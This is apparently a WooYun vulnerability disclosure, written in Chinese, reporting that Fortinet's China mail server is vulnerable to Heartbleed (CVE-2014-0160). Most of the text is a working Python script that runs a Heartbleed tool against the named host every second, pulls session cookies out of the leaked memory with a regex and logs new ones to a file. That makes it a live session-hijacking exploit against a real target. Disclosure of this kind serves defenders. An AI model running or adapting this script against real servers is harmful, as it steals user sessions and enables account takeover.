WooYun.org

Fortinet邮箱服务器url：https://mail.fortinet.com.cn
存在漏洞的端口：443
该端口存在CVE-2014-0160即心脏滴血漏洞，每次可以读取服务器内存64 KB数据
首先是神器openssl.py测试信息：

可以看到账户cookie，可以通过如下脚本，不断的抓cookie：

import os
import re
import time
accounts = []
while True:
    result = os.popen('openssl.py mail.fortinet.com.cn').read()
    matches = re.findall('session1=(.*?);.*?OKIE=(Era.*?%3D%3D%0A)', result)
    for match in matches:
        if match not in accounts:
            accounts.append(match)
            with open('accounts.txt', 'a') as inFile:
                inFile.write(str(match) + '\n')
            print 'New Account:', match
    time.sleep(1.0)